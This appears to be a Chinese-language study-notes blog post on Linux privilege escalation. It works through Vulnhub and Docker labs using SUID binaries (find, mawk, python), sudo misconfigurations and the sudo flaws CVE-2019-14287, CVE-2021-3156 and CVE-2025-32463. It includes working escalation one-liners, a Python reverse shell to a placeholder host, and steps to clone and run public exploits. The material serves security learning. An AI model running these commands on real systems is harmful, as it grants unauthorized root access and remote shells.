当前位置: 首页 > news >正文

小迪安全v2023学习笔记(一百三十九讲)—— Linux系统权限提升篇Vulnhub辅助项目SUID权限SUDO指令版本漏洞

文章目录

  • 权限提升——第一百三十九天
    • Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞
      • 前置知识
        • 所处环境
        • SUID&SUDO是什么?
        • 为什么会用到SUID或SUDO?
        • 如何利用?
      • Linux系统提权 - Web&用户-SUID
        • SUID&GUID - 入门
        • SUID&GUID - 进阶
      • Linux系统提权 - Web&用户-SUDO&CVE
        • SUDO - 入门
        • SUDO - 进阶
          • CVE-2019-14287
          • CVE-2021-3156
          • CVE-2025-32463

权限提升——第一百三十九天

Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞

前置知识

所处环境
  • 首先还是我们本节课所处的位置为:
    在这里插入图片描述

  • 然后回顾一下Linux的提权手段有:

    1. 内核溢出漏洞提权
    2. suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
    3. 数据库类型提权
  • 那么本节课主要是关于SUID和SUDO的提权方式

SUID&SUDO是什么?
  • SUID(Set User ID)是 Linux/Unix 系统中的一种特殊文件权限位,仅作用于可执行文件。当普通用户执行带 SUID 位的程序时,内核会临时把进程的有效 UID 提升为该文件属主的 UID,从而“借”到属主的权限,完成本无法完成的任务。
  • SUDO (SUperuser DO) 是一个独立的开源程序,通过可配置的策略文件/etc/sudoers 及其包含目录)临时授予普通用户“以其他身份(默认 root)运行某条命令”的权限,并留下审计日志。
  • 由于他们都能够让文件或者某个用户临时以高权限用户去执行命令,因此可以利用这一点去尝试提权
  • 其实完全可以把他们当成同一个东西,只不过SUID设置之后可以直接调用root权限,而SUDO需要使用sudo命令(有的需要输入密码,更安全一点)才能够使用
为什么会用到SUID或SUDO?
  • 我们以find命令为例,如果一个普通用户去运行find命令查找某个文件,可能会因为权限不足导致某些目录无法访问
  • 但是我们又不想这个普通用户拥有全部的权限,于是我们就将该用户添加到/etc/sudoers文件中,比如设置如下:
test ALL=(root) NOPASSWD: /usr/bin/find+ test:为谁授权,表示为test用户授权
+ ALL:在哪台机器上生效,表示在所有主机上生效
+ (root):允许变成谁,表示可以以root身份运行
+ NOPASSWORD:/usr/bin/find:表示运行某个文件时不需要密码
  • 于是当我们以sudo去运行find命令时,就不会提示权限被拒绝了,SUID也是同样的道理
如何利用?
  • 直接上网址:https://gtfobins.github.io/
  • 首先需要进行信息收集,看哪些用户有SUDO权限,哪些文件有SUID权限,一般先工具看看有没有常用的:
SUID:
1. less、more、most
2. vim、vi、nano、emacs
3. man
4. awk、gawk
5. find
6. base64、xxd、od
......SUDO:
1. find
2. vim、vi、nano、emacs
3. less、more、man
4. awk、nawk、gawk
5. python、python3、perl、ruby、lua、php
......
  • 工具推荐
    1. https://github.com/carlospolop/PEASS-ng
    2. https://github.com/rebootuser/LinEnum
  • 手工查看命令
# SUID
find / -type f -perm -4000 2>/dev/null
# 查找带有SUID的文件
find / -perm -u=s -type f 2>/dev/null
# 查找带有GUID的文件
find / -perm -g=s -type f 2>/dev/null# SUDO
sudo -l

在这里插入图片描述
在这里插入图片描述

Linux系统提权 - Web&用户-SUID

SUID&GUID - 入门
  • 环境复现:https://www.vulnhub.com/entry/dc-1,292/

  • 这里它存在drupal的框架漏洞,直接msf利用获取权限:
    在这里插入图片描述
    在这里插入图片描述

  • 我们实战中就直接上传工具进行扫描就行了,当然如果工具没有扫到也可以手工再看一看,这里就用LinEnum,因为它比较小:
    在这里插入图片描述

  • 直接到我们的网站,搜索find,然后利用它给的利用命令即可:
    在这里插入图片描述
    在这里插入图片描述

  • 然后我们直接尝试利用这个命令看看是否能够提权成功:
    在这里插入图片描述

  • 这里用-p选项失败了,我们直接利用下面这个find命令进终端:

./find . -exec /bin/sh \; -quit

在这里插入图片描述

  • 成功提权,其实就是利用执行find时它会临时调用root的权限,让他起一个终端,那么这个终端就拥有了root权限,达到我们提权的目的
  • 而为什么用find呢,不用像passwd这样的命令呢,因为find能够直接执行命令,但是passwd不可以
SUID&GUID - 进阶
  • 环境复现:https://www.vulnhub.com/entry/toppo-1,245/

  • 这里就不看前面的Web找账号密码的过程了,这里直接来到入口点http://<IP>/admin/notes.txt
    在这里插入图片描述

  • 因为它开放了22端口,所以尝试SSH连接:
    在这里插入图片描述

  • 这里是一个低权限用户,我们需要提权,本地开服务,让目标下载我们的检测脚本工具,直接开扫:
    在这里插入图片描述

  • 当然可以直接上刚才的网站搜一下mawk、python2.7如何利用,直接可以提权:

# mawk
mawk 'BEGIN {system("/bin/sh")}'# python
python -c 'import os; os.system("/bin/sh")'

在这里插入图片描述
在这里插入图片描述

  • 这里因为它的python2.7具有SUID,所以我们也可以直接用它尝试反弹Shell到MSF进行后续利用:
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

Linux系统提权 - Web&用户-SUDO&CVE

SUDO - 入门
  • 环境复现:https://www.vulnhub.com/entry/toppo-1,245/

  • 我们直接用刚才的靶机来演示SUDO提权,还是一样,先利用工具看哪些命令可以sudo:
    在这里插入图片描述

  • 最好手工命令也看一下:

# 有些可能用不了sudo命令,就直接看这个文件
cat /etc/sudoerssudo -l

在这里插入图片描述

  • 然后在线网站看利用命令:
    在这里插入图片描述
    在这里插入图片描述
SUDO - 进阶
CVE-2019-14287
  • 环境复现:https://www.vulnhub.com/entry/devguru-1,620/

  • 这里我们抓住重点,本节课主要是为了讲提权漏洞,所以前期的Web打点拿权限的步骤我也就不复现了,文章详见:VulnHub-DevGuru 1 渗透测试 - FreeBuf网络安全行业门户

  • 直接来到入口点:
    在这里插入图片描述

  • 拿到Shell之后,我们尝试提权,这里用SUDO,手工发现它普通用户能使用sqlite3命令:
    在这里插入图片描述

  • 于是我们直接在线工具找该命令提权用法:
    在这里插入图片描述

  • 如果直接用会发现sudo用不了,提示没有tty,这里又涉及到一个东西,就是SUDO命令自身可能存在的安全问题

  • 我们可以看看当前主机sudo的版本,有没有漏洞可以利用:

sudo -V

在这里插入图片描述

  • 可以看到当前版本为1.8.21p2,因此可能存在CVE-2019-14287漏洞(Sudo版本 < 1.8.28),这个漏洞其实就是一个绕过漏洞,能够允许用户通过特定的用户ID来执行本不允许的root权限命令,利用命令如下:
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

在这里插入图片描述

  • 成功绕过提权
CVE-2021-3156
  • 环境复现:Docker容器
# 拉取 Docker 镜像
docker pull chenaotian/cve-2021-3156# 启动 Docker 容器
docker run -it chenaotian/cve-2021-3156
  • 这个是用得更多的CVE漏洞,它的影响版本如下:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
  • 进入靶机,切换到普通用户,我们先看看它的sudo版本:
sudo -V

在这里插入图片描述

  • 当前是普通用户,并且也符合漏洞版本,我们还是要先验证一下有没有打过补丁:
sudoedit -s /

在这里插入图片描述

  • 显示报错就说明它存在漏洞,如果是没有报错,显示正常就不存在漏洞:
    在这里插入图片描述

  • 当存在漏洞时,我们用网上写好的利用工具直接梭哈就完事了:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0
  • 在这里作者已经编写好了工具放在了/root目录下,测试输入如下命令即可:
cd /root/exp
su test
./exp
whoami

在这里插入图片描述

  • 可以看到成功提权,底层的利用payload为:
sudoedit -s '\' `python3 -c "print('A'*80)"`
CVE-2025-32463
  • 环境复现:kali 2022 - 2025
  • 这个漏洞是比较新的sudo提权漏洞,影响版本为:
sudo 1.9.14 - 1.9.17

在这里插入图片描述

  • 首先在/etc/sudoers中写入(不过好像都不用这个条件):
kali  ALL=(ALL) NOPASSWD: /usr/sbin/chroot
  • 切换到kali用户,先查看是否存在漏洞:
sudo -R woot woot

在这里插入图片描述

  • 显示No such file or directory就说明存在漏洞,然后我们下载可以直接利用的PoC,一键梭哈即可:
get clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
cd CVE-2025-32463_chwoot
./sudo-chroot.sh

在这里插入图片描述

  • 所以从这三个例子中,我们可以知道SUDO提权时不仅可以考虑直接命令尝试提权,有时候也可以考虑利用它本身存在的漏洞进行提权
http://www.dtcms.com/a/541367.html

相关文章:

  • 《电子工程师基础篇:全面解析电容分类、核心MLCC与选型参数》
  • opencv学习笔记7:对mnist数据集分类
  • 房地产公司网站建设报价方案涂料网站模板
  • 深圳手机网站网站恶意点击
  • 网站优化搜索东莞企业网络推广运营技巧
  • 网站关键词怎么设置莲塘网站建设
  • 跨院区数据不通、停机风险高?浙人医靠电科金仓多活架构破信创难题
  • 免费网站建设优化做一个付费网站多少钱
  • Redis - hash list (常用命令/内部编码/应用场景)
  • 广水网站定制淘宝可以在哪些网站上面打做推广
  • elasticSearch之API:Ingest Pipeline Painless Script
  • elasticsearch安装分词器和操作
  • ubuntu系统安装elasticsearch
  • 网站seo分析常用的工具是华建河北住房和城乡建设厅网站
  • 做网站客户尾款老不给怎么办h5登录页面
  • 黑马JAVA+AI基础11-面向对象编程-常用API-String-ArrayList
  • 平东网站建设引流量的网站
  • 解决Docker容器中出现的错误“Pangolin X11: Failed to open X display”
  • Spring DAO与JDBC优化实战
  • asp access网站架设教程网站如何做即时聊天
  • R 语言科研绘图第 80 期 --- 词云图
  • 通信算法之336 :3GPPMixed Mode Turbo Decoder
  • 如何创建自己的网站店面设计装修网
  • 【软考】信息系统项目管理师
  • WEBSTORM前端 —— 第6章:JavaScript进阶 —— 第2节:构造函数数据常用函数
  • 可以做软件的网站有哪些功能吗现在最火的推广平台有哪些
  • 数字化总架构师:在浪潮中锚定方向,成就组织与自我梦想
  • 网站开发主流语言用文字工具在页面中间输入主标题和副
  • Linux - ab压力测试
  • React 实现 i18next 中英文切换集成